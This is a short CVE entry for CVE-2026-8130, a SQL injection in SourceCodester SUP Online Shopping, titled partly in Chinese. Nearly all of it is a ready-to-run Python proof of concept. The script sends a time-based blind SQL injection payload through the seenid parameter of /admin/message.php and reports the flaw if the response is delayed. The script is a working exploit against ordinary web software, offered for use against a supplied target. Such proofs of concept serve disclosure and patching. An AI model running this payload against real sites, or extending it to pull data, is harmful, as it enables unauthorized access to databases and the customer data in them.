CVE-2026-8130: SourceCodester SUP Online Shopping SQL注入漏洞

#!/usr/bin/env python3 import requests def check_sqli(url): """ PoC for CVE-2026-8130 SQL Injection Vulnerable Parameter: seenid """ target = f"{url}/admin/message.php" # Payload for time-based blind SQL injection payload = "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" params = {"seenid": payload} try: print(f"[*] Sending request to: {target}") response = requests.get(target, params=params, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! Response delayed.") else: print("[-] Vulnerability not detected.") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": target_url = "http://target-ip" # Replace with actual target check_sqli(target_url)